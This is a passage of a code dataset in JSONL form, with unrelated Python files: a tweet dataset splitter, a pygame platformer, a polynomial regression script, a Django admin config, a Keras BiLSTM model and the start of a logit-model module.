= word_info[\"max_tf\"] * word_info[\"tf_idf\"]\n return result_dict\n","sub_path":"Project2/src/DataSetMiner.py","file_name":"DataSetMiner.py","file_ext":"py","file_size_in_byte":2651,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"488705392","text":"import pandas as pd\nimport codecs\nfrom sklearn.model_selection import train_test_split\n\ndataset = codecs.open('tweet_Data_pp.txt','r', 'utf-8')\nemojis = codecs.open('emoji_pro.txt', 'r' )\nemoji_dic ={}\ni=1\nfor line in emojis.readlines():\n l_ = line.rstrip().split('\\t')[0]\n l_ = unicode(l_, 'unicode-escape')\n emoji_dic[l_] = i\n i+=1\nprint(emoji_dic)\ndataframe = pd.DataFrame(columns=['label', 'text'])\nfor line in dataset.readlines():\n emoji, text = line.rstrip().split(',,', 1)\n # print (emoji)\n label = emoji_dic[emoji]\n new = pd.DataFrame({\"label\": label, \"text\": text}, index=[\"0\"])\n dataframe = dataframe.append(new, ignore_index = True)\ndataset.close()\n\n\n### split into train test val\nall_dataset = {}\nfor j in range(1, i) :\n df = dataframe[dataframe['label'] == j].reset_index()\n all_dataset[j] =df\n\n# for label, df in all_dataset.items():\n# print('label :', label)\n# print (df)\n\ntest_ind = []\nval_ind = []\n\nfor now_label in range(1,i):\n now_datafame = all_dataset[now_label]\n length = now_datafame.shape[0]\n ind = list(range(length))\n size_of_test = float(36)/length\n size_of_val = 36/(length-36)\n ind_train, ind_test = train_test_split(ind, test_size=size_of_test)\n ind_train, ind_val = train_test_split(ind_train, test_size=size_of_val)\n print (\"ind_test:\",ind_test)\n new_test_ind=[now_datafame.iat[row,0] for row in ind_test]\n test_ind.extend(new_test_ind)\n new_val=[now_datafame.iat[row,1] for row in ind_val]\n val_ind.extend(new_val)\n break\nprint (test_ind)\n\n\n# data_list=dataframe.to_dict(orient='list')\n# for pair in data_list.items():\n# print (pair)\n","sub_path":"mini-train/load_dataset.py","file_name":"load_dataset.py","file_ext":"py","file_size_in_byte":1651,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"89814622","text":"import os\nimport random\nimport pygame\nimport sys\nfrom time import *\nfrom pygame import mixer\n\nmixer.init()\nmixer.music.load('Sounds/MainTheme.mp3')\nmixer.music.play()\n\nsettingsDataPath = 'ProjectFalconData/settings.txt'\nsettingsFolderPath = 'ProjectFalconData'\nif not os.path.exists(settingsFolderPath):\n os.makedirs(settingsFolderPath)\n\n\ndisplaySize = (1000, 900)\nlevelColor = [(0, 0, 0)]\nplayerColor = [(255, 255, 244)]\n\nbottomPlatformOffset = 100\n\n# Defining All Obstacles\nlevelObstacles = [[[1, displaySize[1] - bottomPlatformOffset, displaySize[0], bottomPlatformOffset - 10, \"Rect\", (255, 255, 255), 0, [False], [False], False, False], [1, 1, 1000, 50, \"Rect\", (255, 255, 255), 0, [False], [False], False, False], [201, 300, 100, 50, \"Rect\", (255, 0, 0), 0, [False], [True, 0, 0], True, False], [600, 200, 150, 50, \"Rect\", (255, 255, 0), 0, [False], [True, 0, 0], False, False]]]\nlevelText = [[[300, 300, 40, (255, 0, 255), 'Futura PT Light', 'Controls - WASD']]]\n\n#Defining all Guards\nlevelGuards = [[[800, 700, 50, 50, 100, [-25, 25, (-1, 0), 750, 20], (255, 0, 0)]]]\n\nplayerSize = 30\nplayerBounceDivider = 3\n\nrunning = True\n\ncanJump = True\ncurrentJumps = 0\n\nos.environ['SDL_VIDEO_CENTERED'] = '1'\npygame.init()\n\npygame.display.set_caption(\"Project Faxon\")\ndisplay = pygame.display.set_mode(displaySize)\n\ncurrentLevel = 1\n\ngravityScale = .003\ncurrentYVelocity = 0\n\njumpForce = -.85\n\ncurrentX = 30\ncurrentY = 200\n\ntouchingFloor1 = False\ntouchingFloor2 = False\n\n# Death variables\nmethodDeath = \"\"\ndied = False\nshownDeath = False\ndiedScreen = 0\n\nmouseDown = False\nmouseRightDown = False\nmouseClicked = False\nmouseHasClicked = False\n\nshowingSettings = False\nselected = \"Gravity\"\nselectables = [\"Gravity\", \"Quit\"]\n\ncurrentGun = \"Pistol\"\nshootFrame = 0\npistolMax = 20\ncurrentShooting = False\n\ndef negative(val):\n if val < 0:\n return True\n else:\n return False\n\ndef inverse(number):\n return 1-number\n\ndef writeSettings(txtPath, gravityAmount):\n openedFile = open(txtPath, 'w+')\n openedFile.write(\"gravity:\" + str(gravityAmount))\n openedFile.close()\n\ndef openSettings(txtPath):\n createFile = open(txtPath, 'a+')\n createFile.close()\n openedFile = open(txtPath, 'r+')\n lines = openedFile.readlines()\n if lines:\n gravitySettings = lines[0]\n if gravitySettings[:7] == 'gravity':\n openedFile.close()\n if float(gravitySettings[8:]) < 0:\n return str(-float(gravitySettings[8:]))\n return gravitySettings[8:]\n else:\n writeSettings(settingsDataPath, 0.003)\n openedFile.close()\n return str(0.003)\n\ngravityScale = float(openSettings(settingsDataPath))\n\n# To not have to worry about forgetting to type sleep\ndef wait(time):\n sleep(time)\n return\n\n# Define Draw Player Function\ndef drawPlayer(xPos, yPos, color, size):\n player = pygame.draw.rect(display, color, pygame.Rect(xPos, yPos, size, size))\n return player\n\n# Define Draw Obstacle Function\ndef drawObstacle(objType, xPos, yPos, color, xSize, ySize, radiusCirc=0):\n if objType == \"Rect\":\n obst = pygame.draw.rect(display, color, pygame.Rect(xPos, yPos, xSize, ySize))\n return obst\n if objType == \"Circle\":\n obst = pygame.draw.circle(display, color, (xPos, yPos), radiusCirc)\n return obst\n\ndef Animate(animType, currentFrame, currentSubFrame, listFrames):\n if animType == \"Pos\":\n objX = listFrames[currentFrame][0]\n objY = listFrames[currentFrame][1]\n currentSubFrame = currentSubFrame + 1\n\n if currentSubFrame > listFrames[currentFrame][2]:\n currentSubFrame = 1\n currentFrame = currentFrame + 1\n\n if currentFrame == len(listFrames):\n currentFrame = 0\n\n\n return objX, objY, currentFrame, currentSubFrame\n\n\ndef addPhysics(xPos, yPos, data, gravityScale):\n data[1] += gravityScale\n yPos = yPos + data[1]\n return xPos, yPos, data\n\ndef changeGrav(gravityScale, jumpForce):\n gravityScale = -gravityScale\n jumpForce = -jumpForce\n return gravityScale, jumpForce\n \n\ndef DrawText(xPos, yPos, fontSize, color, fontName, text):\n newFont = pygame.font.SysFont(fontName, fontSize)\n textSurface = newFont.render(text, False, color)\n display.blit(textSurface, (xPos, yPos))\n\ndef checkCollision(xPos, yPos, xSize, ySize, playerX, playerY, playerSize, currentVelocity, currentJumps, bounceMultiplier, gravityScale, jumpForce, changeGravObj, died, collided, methodDeath):\n if playerX + (playerSize) > xPos and playerX < xPos + (xSize/2) and playerY + (playerSize-.1) > yPos and (playerY) < (yPos + (ySize)-5):\n playerX = xPos - (playerSize)\n if changeGravObj == True:\n gravityScale, jumpForce = changeGrav(gravityScale, jumpForce)\n collided = True\n if playerX < (xPos + xSize) and playerX > xPos + (xSize/2) and (playerY + (playerSize) > yPos or (playerY + (playerSize)+.1) > yPos) and playerY < (yPos + (ySize)-5):\n playerX = (xPos + xSize)\n if changeGravObj == True:\n gravityScale, jumpForce = changeGrav(gravityScale, jumpForce)\n collided = True\n if playerX + (playerSize) > xPos and playerX < (xPos + xSize) and playerY + (playerSize+2) > yPos and playerY < yPos + (ySize/2):\n currentVelocity = -(currentVelocity/bounceMultiplier)\n currentJumps = 0\n playerY = (yPos - (playerSize)) - 2\n if negative(gravityScale) and touchingFloor2:\n died = True\n methodDeath = \"Squished\"\n if changeGravObj == True:\n gravityScale, jumpForce = changeGrav(gravityScale, jumpForce)\n collided = True\n if playerX + playerSize > xPos and playerX < (xPos + xSize) and playerY + playerSize > yPos + (ySize/2) and playerY < yPos + ySize and gravityScale < 0:\n currentVelocity = -(currentVelocity/bounceMultiplier)\n currentJumps = 0\n playerY = yPos + ySize\n if not negative(gravityScale) and touchingFloor1:\n died = True\n methodDeath = \"Squished\"\n if changeGravObj == True:\n gravityScale, jumpForce = changeGrav(gravityScale, jumpForce)\n collided = True\n return playerX, playerY, currentVelocity, currentJumps, gravityScale, jumpForce, died, collided, methodDeath\n\n\ndef checkCollisionObject(xPos, yPos, xSize, ySize, objects, currentVelocity, bounceDivider):\n for obj in objects:\n i = getIndex(obj, objects)\n #print(\"xPos: \" + str(objects[i][0]) + \" yPos: \" + str(objects[i][1]))\n \n if not objects[i][0] == xPos:\n if not objects[i][1] == yPos:\n if xPos > objects[i][0] and xPos + xSize < objects[i][0] + objects[i][2] and yPos + ySize > objects[i][1] and yPos < objects[i][1]:\n yPos = objects[i][1] - ySize\n if bounceDivider == 0:\n bounceDivider = 2\n currentVelocity = -(currentVelocity/bounceDivider)\n if xPos + xSize > objects[i][0] and xPos < objects[i][0] + objects[i][2] and yPos > objects[i][1] and yPos < (objects[i][1] + objects[i][3]):\n yPos = objects[i][1] + objects[i][3]\n if bounceDivider == 0:\n bounceDivider = 2\n currentVelocity = -(currentVelocity/bounceDivider)\n i = i + 1\n return xPos, yPos, currentVelocity\n\n\ndef toggleBool(inputBool):\n if inputBool == True:\n inputBool = False\n elif inputBool == False:\n inputBool = True\n\n return inputBool\n\ndef getIndex(find, strList):\n foundIndex = -1\n i=0\n while i < len(strList):\n if find == strList[i]:\n foundIndex = i\n i = i + 1\n return foundIndex-1\n\ndef selectObject(current, selectableObjs, direction = \"+\"):\n currentID = getIndex(current, selectableObjs)\n if direction == \"+\":\n if currentID + 1 <= len(selectableObjs):\n currentID += 1\n if currentID + 1 > len(selectableObjs):\n currentID = 0\n if currentID > len(selectableObjs):\n currentID = 0\n \n elif direction == \"-\":\n currentID -= 1\n if currentID < 0:\n currentID = len(selectableObjs)-1\n newObj = selectableObjs[currentID]\n return newObj\n\n\ndef Raycast(xPos, yPos, direction, width, length, draw, mode, drawSize, objects, playerX, playerY, playerSize, guards):\n foundObject = False\n objectIndex = -1\n foundPlayer = False\n foundGuard = False\n guardIndex = -1\n X = xPos\n Y = yPos\n i = 0\n while i < length and foundObject == False and foundGuard == False and foundPlayer == False:\n X = X + direction[0]\n Y = Y + direction[1]\n if mode == \"Circle\":\n for obj in objects:\n if X + (drawSize) > obj[0] and X - (drawSize) < obj[0] + obj[2] and Y + (drawSize) > obj[1] and Y - (drawSize) < obj[1] + obj[3] and foundPlayer == False:\n foundObject = True\n objectIndex = getIndex(obj, objects)\n break\n for guard in guards:\n if X + (drawSize) > guard[0] and X - (drawSize) < guard[0] + guard[2] and Y + (drawSize) > guard[1] and Y - (drawSize) < guard[1] + guard[3] and foundPlayer == False and foundObject == False:\n foundGuard = True\n guardIndex = getIndex(guard, guards)\n break\n if X + (drawSize) > playerX and X - (drawSize) < playerX + playerSize and Y + (drawSize) > playerY and Y - (drawSize) < playerY + playerSize and foundObject == False:\n foundPlayer = True\n break\n if draw and mode == \"Circle\":\n pygame.draw.circle(display, (255, 255, 255), (int(X), int(Y)), drawSize)\n i = i + 1\n\n return foundPlayer, foundObject, objectIndex, foundGuard, guardIndex, X , Y\n\ndef raycastDir(pos1X, pos1Y, pos2X, pos2Y):\n dirX = pos2X-pos1X\n dirY = pos2Y-pos1Y\n return (dirX/10, dirY/10)\n\ndef axisDir(axis):\n if axis == \"Left\" or axis == \"left\":\n return (-0.5, 0)\n if axis == \"Right\" or axis == \"right\":\n return (0.5, 0)\n if axis == \"Up\" or axis == \"up\":\n return (0, -0.5)\n if axis == \"Down\" or axis == \"down\":\n return (0, 0.5)\n\n\nwhile running:\n events = pygame.event.get()\n for event in events:\n if event.type == pygame.QUIT:\n running = False\n break\n\n # Jump\n if(event.type == pygame.KEYDOWN) and (event.key == pygame.K_SPACE) and canJump:\n currentYVelocity = jumpForce\n currentJumps += 1\n\n if event.type == pygame.KEYDOWN and event.key == pygame.K_ESCAPE:\n showingSettings = toggleBool(showingSettings)\n\n # Color the Window\n display.fill(levelColor[currentLevel - 1])\n\n mousePos = pygame.mouse.get_pos()\n mouseClkData = pygame.mouse.get_pressed()\n mouseDown = bool(mouseClkData[0])\n mouseRightDown = bool(mouseClkData[2])\n if mouseDown and mouseHasClicked and mouseClicked:\n mouseClicked = False\n if mouseDown and not mouseHasClicked:\n mouseClicked = True\n mouseHasClicked = True\n if not mouseDown:\n mouseClicked = False\n mouseHasClicked = False\n\n if mouseClicked:\n shootFrame = 0\n currentShooting = True\n\n if died == True and shownDeath == False and showingSettings == False:\n image = pygame.image.load('Sprites/DeathScreen.png').convert_alpha()\n image.fill((255, 255, 255, diedScreen), None, pygame.BLEND_RGBA_MULT)\n newFont = pygame.font.SysFont(\"Ariel\", 60)\n textSurface = newFont.render(\"You Died\", False, (0, 0, 0))\n image.blit(textSurface, (390, 250))\n newFont = pygame.font.SysFont(\"Ariel\", 40)\n textSurface = newFont.render('\"' + methodDeath + '\"', False, (0, 0, 0))\n image.blit(textSurface, (390, 350))\n newFont = pygame.font.SysFont(\"Ariel\", 40)\n textSurface = newFont.render(\"Press any key to restart\", False, (0, 0, 0))\n image.blit(textSurface, (390, 450))\n display.blit(image, (0, 0))\n diedScreen += 1\n sleep(0.001)\n for event in events:\n if event.type == pygame.KEYDOWN:\n file = open(\"Project_Falcon.py\", \"r+\")\n exec(file.read())\n if diedScreen == 255:\n shownDeath = True\n\n if died == True and shownDeath == True and showingSettings == False:\n image = pygame.image.load('Sprites/DeathScreen.png').convert_alpha()\n newFont = pygame.font.SysFont(\"Ariel\", 60)\n textSurface = newFont.render(\"You Died\", False, (0, 0, 0))\n image.blit(textSurface, (390, 250))\n newFont = pygame.font.SysFont(\"Ariel\", 40)\n textSurface = newFont.render('\"' + methodDeath + '\"', False, (0, 0, 0))\n image.blit(textSurface, (390, 350))\n newFont = pygame.font.SysFont(\"Ariel\", 40)\n textSurface = newFont.render(\"Press any key to restart\", False, (0, 255, 0))\n image.blit(textSurface, (390, 450))\n display.blit(image, (0, 0))\n for event in events:\n if event.type == pygame.KEYDOWN:\n file = open(\"Project_Falcon.py\", \"r+\")\n exec(file.read())\n \n if currentGun == \"Pistol\":\n if pygame.mouse.get_pos()[0] > currentX + playerSize:\n if currentShooting:\n results = Raycast(currentX + playerSize + 10, currentY + (playerSize/2), raycastDir(currentX + playerSize + 10, currentY + (playerSize/2), pygame.mouse.get_pos()[0], pygame.mouse.get_pos()[1]), 100, 900, True, \"Circle\", 10, levelObstacles[currentLevel-1], currentX, currentY, playerSize, levelGuards[currentLevel-1])\n shootFrame += 1\n if shootFrame > pistolMax:\n currentShooting = False\n shootFrame = 0\n if pygame.mouse.get_pos()[0] < currentX:\n if currentShooting:\n results = Raycast(currentX - 10, currentY + (playerSize/2), raycastDir(currentX - 10, currentY + (playerSize/2), pygame.mouse.get_pos()[0], pygame.mouse.get_pos()[1]), 100, 900, True, \"Circle\", 10, levelObstacles[currentLevel-1], currentX, currentY, playerSize, levelGuards[currentLevel-1])\n shootFrame += 1\n if shootFrame > pistolMax:\n currentShooting = False\n shootFrame = 0\n\n if showingSettings == False:\n # Add Gravity\n currentYVelocity += gravityScale\n currentY += currentYVelocity\n\n # Stop falling through window\n # if currentY >= displaySize[1] - bottomPlatformOffset:\n # currentVelocity = 0\n # currentY = (displaySize[1] - bottomPlatformOffset) - 1\n # currentJumps = 0\n\n #User Input\n user_input = pygame.key.get_pressed()\n\n if (user_input[pygame.K_LEFT] or user_input[pygame.K_a]) and not died:\n currentX -= 0.4\n if (user_input[pygame.K_RIGHT] or user_input[pygame.K_d]) and not died:\n currentX += 0.4\n\n # Stop Infinite Jumps\n if currentJumps >= 2 or died:\n canJump = False\n else:\n canJump = True\n\n # Drawing All Objects\n i = 0\n while i < len(levelObstacles[currentLevel - 1]):\n colliding = False\n drawObstacle(levelObstacles[currentLevel-1][i][4], levelObstacles[currentLevel-1][i][0], levelObstacles[currentLevel-1][i][1], levelObstacles[currentLevel-1][i][5], levelObstacles[currentLevel-1][i][2], levelObstacles[currentLevel-1][i][3], levelObstacles[currentLevel-1][i][6])\n currentX, currentY, currentYVelocity, currentJumps, gravityScale, jumpForce, died, colliding, methodDeath = checkCollision(levelObstacles[currentLevel-1][i][0], levelObstacles[currentLevel-1][i][1], levelObstacles[currentLevel-1][i][2], levelObstacles[currentLevel-1][i][3], currentX, currentY, playerSize, currentYVelocity, currentJumps, playerBounceDivider, gravityScale, jumpForce, levelObstacles[currentLevel-1][i][9], died, False, methodDeath)\n if i == 0 and colliding:\n touchingFloor1 = True\n else:\n touchingFloor1 = False\n if i == 1 and colliding:\n touchingFloor2 = True\n else:\n touchingFloor2 = False\n if levelObstacles[currentLevel-1][i][7][0] == True:\n levelObstacles[currentLevel-1][i][0], levelObstacles[currentLevel-1][i][1], levelObstacles[currentLevel-1][i][7][2], levelObstacles[currentLevel-1][i][7][3] = Animate(levelObstacles[currentLevel-1][i][7][1], levelObstacles[currentLevel-1][i][7][2], levelObstacles[currentLevel-1][i][7][3], levelObstacles[currentLevel-1][i][7][4])\n if levelObstacles[currentLevel-1][i][8][0] == True:\n levelObstacles[currentLevel-1][i][0], levelObstacles[currentLevel-1][i][1], levelObstacles[currentLevel-1][i][8] = addPhysics(levelObstacles[currentLevel-1][i][0], levelObstacles[currentLevel-1][i][1], levelObstacles[currentLevel-1][i][8], gravityScale)\n levelObstacles[currentLevel-1][i][0], levelObstacles[currentLevel-1][i][1], levelObstacles[currentLevel-1][i][8][1] = checkCollisionObject(levelObstacles[currentLevel-1][i][0], levelObstacles[currentLevel-1][i][1], levelObstacles[currentLevel-1][i][2], levelObstacles[currentLevel-1][i][3], levelObstacles[currentLevel-1], levelObstacles[currentLevel-1][i][8][1], levelObstacles[currentLevel-1][i][8][2])\n i = i + 1\n\n # Drawing all guards\n i = 0\n while i < len(levelGuards[currentLevel-1]):\n drawObstacle(\"Rect\", levelGuards[currentLevel-1][i][0], levelGuards[currentLevel-1][i][1], levelGuards[currentLevel-1][i][6], levelGuards[currentLevel-1][i][2], levelGuards[currentLevel-1][i][3])\n scanResults = Raycast(levelGuards[currentLevel-1][i][0]+levelGuards[currentLevel-1][i][5][0], levelGuards[currentLevel-1][i][1]+levelGuards[currentLevel-1][i][5][1], levelGuards[currentLevel-1][i][5][2], 10, levelGuards[currentLevel-1][i][5][3], True, \"Circle\", levelGuards[currentLevel-1][i][5][4], levelObstacles[currentLevel-1], currentX, currentY, playerSize, levelGuards[currentLevel-1])\n i = i + 1\n \n\n # Drawing All Text\n f = 0\n while f < len(levelText[currentLevel - 1]):\n DrawText(levelText[currentLevel-1][f][0], levelText[currentLevel-1][f][1], levelText[currentLevel-1][f][2], levelText[currentLevel-1][f][3], levelText[currentLevel-1][f][4], levelText[currentLevel-1][f][5])\n f = f + 1\n \n player = drawPlayer(currentX, currentY, playerColor[currentLevel - 1], playerSize)\n\n # Pause Menu\n if showingSettings == True:\n DrawText(400, 300, 40, (255, 255, 255), 'Futura PT Light', 'Settings')\n if gravityScale > 0:\n if selected == \"Gravity\":\n DrawText(375, 400, 40, (0, 255, 0), 'Futura PT Light', 'Gravity Scale - ' + str(gravityScale)[:6])\n else:\n DrawText(375, 400, 40, (255, 255, 255), 'Futura PT Light', 'Gravity Scale - ' + str(gravityScale)[:6])\n elif gravityScale < 0:\n if selected == \"Gravity\":\n DrawText(375, 400, 40, (0, 255, 0), 'Futura PT Light', 'Gravity Scale - ' + str(gravityScale)[:6])\n else:\n DrawText(375, 400, 40, (255, 255, 255), 'Futura PT Light', 'Gravity Scale - ' + str(gravityScale)[:6])\n if selected == \"Quit\":\n DrawText(440, 450, 40, (0, 255, 0), 'Futura PT Light', 'Quit')\n else:\n DrawText(440, 450, 40, (255, 255, 255), 'Futura PT Light', 'Quit')\n\n keys = pygame.key.get_pressed()\n\n if keys[pygame.K_RIGHT]:\n if selected == \"Gravity\" and showingSettings:\n gravityScale += 0.000005\n if keys[pygame.K_LEFT]:\n if selected == \"Gravity\" and showingSettings:\n gravityScale -= 0.000005\n if keys[pygame.K_RETURN]:\n if selected == \"Quit\" and showingSettings:\n break\n\n for event in events:\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_UP:\n selected = selectObject(selected, selectables, \"-\")\n if event.key == pygame.K_DOWN:\n selected = selectObject(selected, selectables, \"+\")\n\n pygame.display.update()\n\nwriteSettings(settingsDataPath, gravityScale)\npygame.quit()\nsleep(0.1)\nexit()\n\n","sub_path":"Project_Falcon.py","file_name":"Project_Falcon.py","file_ext":"py","file_size_in_byte":20506,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"232792715","text":"# Author: Mitch Mullins\n# Date: 3/5/18\n\n# Linear Regression\n\nfrom pandas import read_table\nimport matplotlib.pyplot as plt\nimport math\nimport array\nimport numpy as np\nimport pandas\n\n# URL path to data file goes here!\n#Toshiba\nURL = r'C:\\Users\\Mitch\\Downloads\\data\\data\\synthetic-3.csv' \n#Lenovo\n#URL = r'C:\\Users\\Mitchell\\Downloads\\data\\data\\synthetic-1.csv'\n\n# Function: Read in Data\ndef readIn(URL):\n # Reading In\n with open(URL) as f:\n lines = f.readlines()\n for i in range(len(lines)):\n lines[i] = lines[i].split(\",\")\n # lines[i].pop(-1)\n\n frame = []\n for x in range(0, len(lines)):\n frame.append([float(lines[x][0]), float(lines[x][1])])\n\n return frame\n\n# Function: Update\ndef update(theta, frame, total, alpha, m, n, i):\n total = 0\n for x in range(0, len(frame)):\n total = total + ((thetaComp(theta, frame[x][0], n) - frame[x][1]) * pow(frame[x][0], i))\n\n return (total/m) * alpha\n\n# Function: ThetaGen\ndef thetaGen(theta, n):\n for i in range(0,n+1):\n theta.append(0.0)\n theta[0] = 10.0\n for i in range(1,n+1):\n theta[i] = theta[i-1]/2\n\n return theta\n\n# Function: Theta Computations\ndef thetaComp(theta, x, n):\n hTheta = 0.0\n for i in range(0,n):\n hTheta = hTheta + (theta[i]*pow(x, i))\n\n return hTheta\n\n# Function: Error\ndef meanSqError(frame, theta, n):\n error = 0.0\n for i in range(0, len(frame)):\n hTheta = 0.0\n for j in range(0,n):\n hTheta = hTheta + (theta[j]*pow(frame[i][0], j))\n error += (hTheta - frame[i][1])**2\n\n error = error / len(frame)\n\n return error\n\n\n# MAIN FUNCTION\ndef main():\n frame = readIn(URL)\n #print(\"Raw CSV\")\n #print(frame)\n #print()\n n = int(input(\"What Order Polynomial are we regressing: (No Greater than 9) \"))\n\n # Theta is protected\n theta = []\n up_theta = []\n\n #Already did the n+1 in funct\n theta = thetaGen(theta, n)\n\n up_theta = theta[:]\n\n alpha = 0.00000001\n m = 100\n error = 0.0\n total = 0.0\n\n for j in range(0, 3000):\n for i in range(0,n+1):\n test = 0.0\n test = update(theta, frame, total, alpha, m, n+1, i)\n up_theta[i] = up_theta[i] - test\n\n theta = up_theta[:]\n error = meanSqError(frame, theta, n+1)\n print(error)\n\n print(\"Final Error: \", error)\n print(\"Thetas: \", theta)\n xvar = []\n yvar = []\n yvar2 = []\n for z in range(0,len(frame)):\n xvar.append(float(frame[z][0]))\n yvar.append(float(frame[z][1]))\n\n x = np.asarray(xvar)\n y = np.asarray(yvar)\n\n fig, ax = plt.subplots()\n\n if n == 1:\n # First Order Plot\n ax.plot(x, theta[0] + (theta[1]*x), color='red')\n elif n == 2:\n for z in range(0,len(frame)):\n yvar2.append(theta[0] + (theta[1]*xvar[z]) + (theta[2]*(xvar[z]**2)))\n y2 = np.asarray(yvar2)\n # Second Order Plot\n #ax.plot(x, theta[0] + (theta[1]*x) + (theta[2]*(x**2)), color='red')\n ax.scatter(x, y2, color='red')\n elif n == 4:\n for z in range(0,len(frame)):\n yvar2.append(theta[0] + (theta[1]*xvar[z]) + (theta[2]*(xvar[z]**2)) + (theta[3]*(xvar[z]**3)) + (theta[4]*(xvar[z]**4)))\n y2 = np.asarray(yvar2)\n # Second Order Plot\n #ax.plot(x, theta[0] + (theta[1]*x) + (theta[2]*(x**2)), color='red')\n ax.scatter(x, y2, color='red')\n\n # Fourth Order Plot\n #ax.plot(x, theta[0] + (theta[1]*x) + (theta[2]*(x**2)) + (theta[3]*(x**3)) + (theta[4]*(x**4)), color='red')\n elif n == 9:\n for z in range(0,len(frame)):\n yvar2.append(theta[0] + (theta[1]*xvar[z]) + (theta[2]*(xvar[z]**2)) + (theta[3]*(xvar[z]**3)) + (theta[4]*(xvar[z]**4)) + (theta[5]*(xvar[z]**5)) + (theta[6]*(xvar[z]**6)) + (theta[7]*(xvar[z]**7)) + (theta[8]*(xvar[z]**8)) + (theta[9]*(xvar[z]**9)))\n y2 = np.asarray(yvar2)\n # Second Order Plot\n #ax.plot(x, theta[0] + (theta[1]*x) + (theta[2]*(x**2)), color='red')\n ax.scatter(x, y2, color='red')\n\n # Ninth Order Plot\n #ax.plot(x, theta[0] + (theta[1]*x) + (theta[2]*(x**2)) + (theta[3]*(x**3)) + (theta[4]*(x**4)) + (theta[5]*(x**5)) + (theta[6]*(x**6)) + (theta[7]*(x**7)) + (theta[8]*(x**8)) + (theta[9]*(x**9)), color='red')\n else:\n print(\"Entered an incorrect n value. Only 1, 2, 4 and 9 are accepted.\")\n\n ax.scatter(x,y)\n plt.xlabel('X Values (First Column)')\n plt.ylabel('Y Values (Second Column)')\n\n fig.show()\n\nmain()","sub_path":"CS460PA3/CS460PA3.py","file_name":"CS460PA3.py","file_ext":"py","file_size_in_byte":4208,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"629722023","text":"from django.contrib import admin\nfrom reversion.admin import VersionAdmin\n\nfrom datahub.core.admin import BaseModelAdminMixin, custom_add_permission, custom_change_permission\nfrom datahub.interaction.models import (\n CommunicationChannel,\n Interaction,\n InteractionPermission,\n PolicyArea,\n PolicyIssueType,\n)\nfrom datahub.metadata.admin import DisableableMetadataAdmin, OrderedMetadataAdmin\n\n\nadmin.site.register(CommunicationChannel, DisableableMetadataAdmin)\nadmin.site.register((PolicyArea, PolicyIssueType), OrderedMetadataAdmin)\n\n\n@admin.register(Interaction)\n@custom_add_permission(InteractionPermission.add_all)\n@custom_change_permission(InteractionPermission.change_all)\nclass InteractionAdmin(BaseModelAdminMixin, VersionAdmin):\n \"\"\"Interaction admin.\"\"\"\n\n search_fields = (\n '=pk',\n 'subject',\n 'company__name',\n )\n list_display = (\n 'subject',\n 'date',\n 'created_on',\n 'company',\n 'contact',\n 'investment_project',\n )\n list_filter = (\n 'kind',\n )\n raw_id_fields = (\n 'company',\n 'event',\n 'dit_adviser',\n 'investment_project',\n 'contact',\n )\n readonly_fields = (\n 'archived_documents_url_path',\n 'created',\n 'modified',\n )\n list_select_related = (\n 'company',\n 'contact',\n 'investment_project',\n 'investment_project__investor_company',\n )\n exclude = (\n 'created_on',\n 'created_by',\n 'modified_on',\n 'modified_by',\n )\n","sub_path":"datahub/interaction/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":1571,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"425596380","text":"#!/usr/bin/env python\n\nfrom event import Event\nfrom fileio import write\nimport gzip\n\nf = gzip.open(\"test.odf.gz\",\"wb\")\nev = Event()\nev.runID = 1009322\nev.year = 2007\nev.startTime = long(10908290809370)\nev.eventLength = 100000.\nev.triggers = [(10000.00,\"BLEH\")]\nev.hits = [(1.0,1000.4,100.,-100.,255.)]\n\nwrite(f,ev)\n\n","sub_path":"testing/code/odf_tarball/examples/quick_write_gzip.py","file_name":"quick_write_gzip.py","file_ext":"py","file_size_in_byte":316,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"461647150","text":"from constants import GLOVE_6B_PATH\nfrom keras.layers import Embedding, LSTM, Dense, Dropout, Bidirectional\nfrom keras.models import Sequential\nimport keras.regularizers\nfrom preprocess import nltk_tokenizer, buildEmbeddingMatrix\n\nclass BiLSTM:\n \"\"\"\n Implements a Bidirectional LSTM Network.\n Adapted from A Neural Approach to Automated Essay Scoring. (Taghipour and Ng, 2016)\n \"\"\"\n # Define hyperparameters for the network\n _dropout_rate = 0.4\n _activation_func = 'sigmoid'\n _loss = 'mean_squared_error'\n _optimizer = 'adam'\n _metrics = [\"mae\", \"mse\"]\n\n def getModel(self, embedding_dimen=300, essay_len=500, embedding_model=GLOVE_6B_PATH):\n \"\"\" Returns compiled model.\"\"\"\n vocabulary_size = len(nltk_tokenizer.word_index) + 1\n embedding_matrix = buildEmbeddingMatrix(embedding_model, nltk_tokenizer)\n\n model = Sequential()\n model.add(Embedding(vocabulary_size, embedding_dimen, weights=[embedding_matrix], input_length=essay_len, trainable=False, mask_zero=True))\n model.add(Bidirectional(LSTM(150, dropout=0.4, recurrent_dropout=0.4)))\n model.add(Dropout(0.4))\n model.add(Dense(1, activation=self._activation_func, activity_regularizer=keras.regularizers.l2(0.01)))\n model.compile(loss=self._loss, optimizer=self._optimizer, metrics=self._metrics)\n print(\"--- Model Summary ---\")\n print(model.summary())\n return model","sub_path":"inference_model/models/BiLSTM.py","file_name":"BiLSTM.py","file_ext":"py","file_size_in_byte":1445,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"77545321","text":"import csv\nimport numpy as np\nimport pandas as pd\nfrom scipy.optimize import minimize\nimport util\n\n\n\"\"\"\n\n This script contains the generic LogitModel and MixedLogit classes.\n These both have data loading, model fitting, and output functionality.\n It also includes model definitions and objective functions for individual modes.\n The examples (data) are represented as (choice_id, Y, degree, n_fofs).\n\n\"\"\"\n\nclass LogitModel:\n \"\"\"\n This class represents a generic logit model.\n \"\"\"\n def __init__(self, model_id, max_deg=50, bounds=None, D=None, vvv=0):\n \"\"\"\n Constructor for a LogitModel object. The data can be provided directly,\n or it can be read in from file.\n\n Keyword arguments:\n\n model_id -- model_id can be either the file name from where the 